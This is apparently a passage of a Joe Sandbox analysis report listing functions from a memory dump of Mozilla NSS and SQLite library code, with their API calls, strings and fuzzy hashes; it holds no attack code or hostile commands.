PR_EnterMonitor.NSS3(?), ref: 6CC02DCF
PR_ExitMonitor.NSS3(?), ref: 6CC02DF2
PR_ExitMonitor.NSS3(?), ref: 6CC02E0B

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: e90b1e5477df5985536187aea04925bd5d4fc18a20e4b7b749babc0fa5e347cc
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: DA01A1B1A402009BEB309F26FC05BC7B7A5EB45318F000475E85D86B20F633F825C692

Function 6CB9AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CB83090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB9AE42), ref: 6CB830AA
Part of subcall function 6CB83090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB830C7
Part of subcall function 6CB83090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CB830E5
Part of subcall function 6CB83090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB83116
Part of subcall function 6CB83090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB8312B
Part of subcall function 6CB83090: PK11_DestroyObject.NSS3(?,?), ref: 6CB83154
Part of subcall function 6CB83090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB8317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CB799FF,?,?,?,?,?,?,?,?,?,6CB72D6B,?), ref: 6CB9AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CB799FF,?,?,?,?,?,?,?,?,?,6CB72D6B,?), ref: 6CB9AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CB72D6B,?,?,00000000), ref: 6CB9AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CB72D6B,?,?,00000000), ref: 6CB9AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CB72D6B,?,?), ref: 6CB9AEA3

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 7f24c5a9b52962dc2a48208cb3e494d0205fb8fbe954fca413a6674f1785247a
Instruction ID: e4523bc64d2ef417c97b54f5b00f231f03c60489bb3647022507424768d93c2a
Opcode Fuzzy Hash: 7f24c5a9b52962dc2a48208cb3e494d0205fb8fbe954fca413a6674f1785247a
Instruction Fuzzy Hash: 0401C876F058E097E701926CAC95BAF3158CB8765CF290031F909D7F41F616D9054BE3

Function 6CC149C0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(000A2CD6,00000000,00000000,00000678,?,?,6CC05F34,00000A20), ref: 6CC149EC

Part of subcall function 6CBCFAB0: free.MOZGLUE(?,-00000001,?,?,6CB6F673,00000000,00000000), ref: 6CBCFAC7

SECITEM_ZfreeItem_Util.NSS3(000A2CEA,00000000,6CC05F34,00000A20,?,?,?,?,?,?,?,?,?,6CC0AAD4), ref: 6CC149F9
SECITEM_ZfreeItem_Util.NSS3(000A2CBE,00000000,?,?,6CC05F34,00000A20,?,?,?,?,?,?,?,?,?,6CC0AAD4), ref: 6CC14A06
free.MOZGLUE(?,?,?,?,?,6CC05F34,00000A20), ref: 6CC14A16
free.MOZGLUE(000A2CB6,?,?,?,?,6CC05F34,00000A20), ref: 6CC14A1C

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID:
API String ID: 2193358613-0
Opcode ID: f6989f226134ccf54ee260c7eb65601966292556ee16311c0eb562b18ae3a0cb
Instruction ID: 3b824a5af4d9a95573dac6e1094e84896e6a5bdc1fb5cd7703f69da78b254b9b
Opcode Fuzzy Hash: f6989f226134ccf54ee260c7eb65601966292556ee16311c0eb562b18ae3a0cb
Instruction Fuzzy Hash: DD011E76A001049FCB00DF6ADCC4C967BBCEF8A25974584A5E909DB701F731E945CBA1

Function 6CC80930 Relevance: 7.5, APIs: 5, Instructions: 45fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,6CC80C83), ref: 6CC8094F
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6CC80C83), ref: 6CC80974
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80983
_PR_MD_UNLOCK.NSS3(?,?,6CC80C83), ref: 6CC8099F
OutputDebugStringA.KERNEL32(?,?,6CC80C83), ref: 6CC809B2

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalDebugEnterOutputSectionStringfflushfwrite
String ID:
API String ID: 1872382454-0
Opcode ID: 98d8891ae2f7307b08e081175009bdb1d0a6d4cc27712c7f0f22aa26743a04d9
Instruction ID: 8f288c708051bb8c554ff2b6d0cb0f8390a4f9483d23a64d8ff0eff17be1b17a
Opcode Fuzzy Hash: 98d8891ae2f7307b08e081175009bdb1d0a6d4cc27712c7f0f22aa26743a04d9
Instruction Fuzzy Hash: AD01E5B47062809FEF00AF6CD899B563BB9EB4632CF1C0259F84583752E635F492CA15

Function 6CC82A40 Relevance: 7.5, APIs: 5, Instructions: 41stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CC82A5B
free.MOZGLUE(?), ref: 6CC82A6D
strdup.MOZGLUE(?), ref: 6CC82A7B
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC82A96
PR_ExitMonitor.NSS3 ref: 6CC82AB5

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Monitor$EnterErrorExitfreestrdup
String ID:
API String ID: 1948362043-0
Opcode ID: 6f1407f26960ca664b21bf7b561a37154cca3980c7628bb03ae25479a2563cbb
Instruction ID: 092af85f5334866231f78d22882be29c1f18da4d1ca90e5c64aa11bc5c5b6349
Opcode Fuzzy Hash: 6f1407f26960ca664b21bf7b561a37154cca3980c7628bb03ae25479a2563cbb
Instruction Fuzzy Hash: AAF0A4B5F0112097DE20AFA9EC0D7877A34EF0269CF050130E80996A01F739E959C6D2

Function 6CC8ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CC8A6D8), ref: 6CC8AE0D
free.MOZGLUE(?), ref: 6CC8AE14
DeleteCriticalSection.KERNEL32(6CC8A6D8), ref: 6CC8AE36
free.MOZGLUE(?), ref: 6CC8AE3D
free.MOZGLUE(00000000,00000000,?,?,6CC8A6D8), ref: 6CC8AE47

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 4f51c2613eb6aa5396deb218c77a0d9e5b75784dcc424cef83865e8999a5b194
Instruction ID: 035f4907fe2f948198f435206c0a044ea6f0e5370034e6f73a0c3d64809958ae
Opcode Fuzzy Hash: 4f51c2613eb6aa5396deb218c77a0d9e5b75784dcc424cef83865e8999a5b194
Instruction Fuzzy Hash: 55F09675202A01ABCA109FA9D84C9577B78BF867797140328F52A83980E732E266C7D5

Function 6CB04AC0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000B2F5), ref: 6CB04C2B

Strings

winWrite2, xrefs: 6CB04C01
winWrite1, xrefs: 6CB04BC2
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CB04C24

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winWrite1$winWrite2
API String ID: 632333372-1808655853
Opcode ID: 718b43afcf46c8b3a624febd5dcff96a1e3fc1558973fdc4a0fa1afd938fe8ff
Instruction ID: fd71b7c34efdee985f592e54feecc291d1d1e283a4fbe43be4afdeac485e03d6
Opcode Fuzzy Hash: 718b43afcf46c8b3a624febd5dcff96a1e3fc1558973fdc4a0fa1afd938fe8ff
Instruction Fuzzy Hash: D141A172B047469BD704CF59C881A5ABBF9EF99364F108A2DF8588B790E730D905CF92

Function 6CB06C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CB06D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB06D20
%s at line %d of [%.10s], xrefs: 6CB06D2F
database corruption, xrefs: 6CB06D2A

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 6a3d57bae8952b2e8125c5986314cbbd0493496af192e0508feff2c7fdadb184
Instruction ID: 29d8e8d480773f93d18a9f96d0d0955cb9338bef42655dea33f3cdfe86703dd7
Opcode Fuzzy Hash: 6a3d57bae8952b2e8125c5986314cbbd0493496af192e0508feff2c7fdadb184
Instruction Fuzzy Hash: 8321E070B003599BD710CE1AD841B5ABBE2AF84308F14862CEC599BF51E771F989C792

Function 6CC3CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CC3CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CC3CC7B), ref: 6CC3CD7A
Part of subcall function 6CC3CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC3CD8E
Part of subcall function 6CC3CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC3CDA5
Part of subcall function 6CC3CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC3CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CC3CCB5
memcpy.VCRUNTIME140(6CCD14F4,6CCD02AC,00000090), ref: 6CC3CCD3
memcpy.VCRUNTIME140(6CCD1588,6CCD02AC,00000090), ref: 6CC3CD2B

Part of subcall function 6CB59AC0: socket.WSOCK32(?,00000017,6CB599BE), ref: 6CB59AE6
Part of subcall function 6CB59AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CB599BE), ref: 6CB59AFC

Part of subcall function 6CB60590: closesocket.WSOCK32(6CB59A8F,?,?,6CB59A8F,00000000), ref: 6CB60597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CC3CCB0

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 60ad4089e33f63d9421954e9ecff885c0f5ac0ee0b81f0322c01ff1a3b4913f3
Instruction ID: 105326d345ad7998b0f23546f7f13807bc6bf5dd26c66172fd0f26d028cf15a0
Opcode Fuzzy Hash: 60ad4089e33f63d9421954e9ecff885c0f5ac0ee0b81f0322c01ff1a3b4913f3
Instruction Fuzzy Hash: 1011AFF5B212505EDB009F9EA8467473EF893463ACF14212AE50ACBB41F734E404CBD5

Function 6CAFA8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6CC2A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CC4C3A2,?,?,00000000,00000000), ref: 6CC2A528
Part of subcall function 6CC2A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC2A6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CAFA94F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAFA939
%s at line %d of [%.10s], xrefs: 6CAFA948
database corruption, xrefs: 6CAFA943

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 20188fe52e54c7c56e87a1b67b3d2cea09aee6bdc3f679133612049765c4bce9
Instruction ID: 942d7f12129d711bbaad03175a6df73f4d048ccef5c7f2f97f200b3018edf705
Opcode Fuzzy Hash: 20188fe52e54c7c56e87a1b67b3d2cea09aee6bdc3f679133612049765c4bce9
Instruction Fuzzy Hash: E001F931E002086FD7108AEAEC15B9BB7F9AF85308F454539F95E9BB40E771ED0A8791

Function 6CB88850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CB90715), ref: 6CB88859
PR_NewLock.NSS3 ref: 6CB88874

Part of subcall function 6CC398D0: calloc.MOZGLUE(00000001,00000084,6CB60936,00000001,?,6CB6102C), ref: 6CC398E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CB8888D

Strings

NSS, xrefs: 6CB88887

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 2a8d46c12bc274f84d301cd054993a1d63ecf3c52bf1d96b7f9cf77abaa39fea
Instruction ID: a6492ce308d4769f8110ad308e8ed5a4c5aada220f204d4ccdee5f9a9ed6091a
Opcode Fuzzy Hash: 2a8d46c12bc274f84d301cd054993a1d63ecf3c52bf1d96b7f9cf77abaa39fea
Instruction Fuzzy Hash: 76F09066E8266033F61022696C06B8B75989F5175EF440032E90DA7B82FA92A51883E3

Function 6CB6C9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6CB6CB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB6CB4B
sqlite3_free.NSS3 ref: 6CB6CB70
sqlite3_result_error_nomem.NSS3 ref: 6CB6CB99

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: 25505d164fb7cec2f6db347d074033e4120fdf23ed8e503aadbce9532a135e73
Instruction ID: 025babdb234f4a170ea700b597ad7c2f8bda89fd7b42d86f4865a32d43bf4526
Opcode Fuzzy Hash: 25505d164fb7cec2f6db347d074033e4120fdf23ed8e503aadbce9532a135e73
Instruction Fuzzy Hash: 0751D432609B898ADB01EF36C05012BF7F0FF8A798F14870DE8966A954EB309485C793

Function 6CC34FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CB185D2,00000000,?,?), ref: 6CC34FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC3500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC350C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC350D6

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 962f35723ae7ba5ed965fc7c5cb798f12d3f8fa0bd95540ba96783c3128bf97e
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 7A417DB6A002118BCB18CF18DCD179AB7E1BF4431871D466DD84ACBB02F779E891CB81

Function 6CBC0420 Relevance: 6.1, APIs: 4, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000,?,6CBAC97F,?,?,?), ref: 6CBC04BF
TlsGetValue.KERNEL32(00000000,?,6CBAC97F,?,?,?), ref: 6CBC04F4
EnterCriticalSection.KERNEL32(?,?,?,6CBAC97F,?,?,?), ref: 6CBC050D
PR_Unlock.NSS3(?,?,?,?,6CBAC97F,?,?,?), ref: 6CBC0556

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Alloc_CriticalEnterSectionUnlockUtilValue
String ID:
API String ID: 349578545-0
Opcode ID: 85c3890e3a604b7f8b2603014bad37c88b04040df5f3f4801801c337c78e353b
Instruction ID: ffc2a242003c732532240af21c05c2e2e3ee9ee535f34ec25eb1c7c47c3fe5c0
Opcode Fuzzy Hash: 85c3890e3a604b7f8b2603014bad37c88b04040df5f3f4801801c337c78e353b
Instruction Fuzzy Hash: 61415AB4B056828FDB04DF29D48066ABBF4FF44318F15856DD8998BB11E730E991CF92

Function 6CC8A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6CC8A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6CC8A662), ref: 6CC8A69E
Part of subcall function 6CC8A690: PR_NewCondVar.NSS3(?), ref: 6CC8A6B4

PR_IntervalNow.NSS3 ref: 6CC8A8C6
EnterCriticalSection.KERNEL32(?), ref: 6CC8A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6CC8A944
